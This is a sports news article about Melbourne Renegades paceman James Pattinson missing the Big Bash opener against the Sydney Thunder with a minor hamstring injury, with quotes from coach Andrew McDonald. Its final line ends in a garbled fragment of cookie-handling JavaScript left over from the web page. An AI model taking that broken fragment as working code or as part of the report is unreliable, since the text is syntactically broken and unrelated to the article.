MELBOURNE, AUSTRALIA - JANUARY 10: James Pattinson and Ben Stokes of the Renegades celebrate getting the wicket of Luke Wright of the Stars during the Big Bash League match between the Melbourne Stars and the Melbourne Renegades at Melbourne Cricket Ground on January 10, 2015 in Melbourne, Australia. (Photo by Quinn Rooney/Getty Images)
Melbourne Renegades fast bowler James Pattinson has been ruled out of his side's opening game of the Big Bash against the Sydney Thunder on Thursday night due to a hamstring injury.
Pattinson, who was expected to finally make his long awaited return to elite cricket after a wretched run with injuries, will have to wait at least another week, with his teammates set to take on the reigning champions with out him.
The 26-year-old's injury is only minor, but due to his history, the club will take no risks on their star paceman.
"James has worked extremely hard over a long period of time to get his body right so we’re treating this as a minor hold-up in his return to playing at the elite level with us," coach Andrew McDonald said
"We’ll continue to monitor his improvement over the festive season and see how things are placed.
"We’d love to have him out there but we want to take the right approach with James and have him ready and firing."
The Renegades' second game is against the Perth Scorchers at Etihad Stadium on December 29. "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}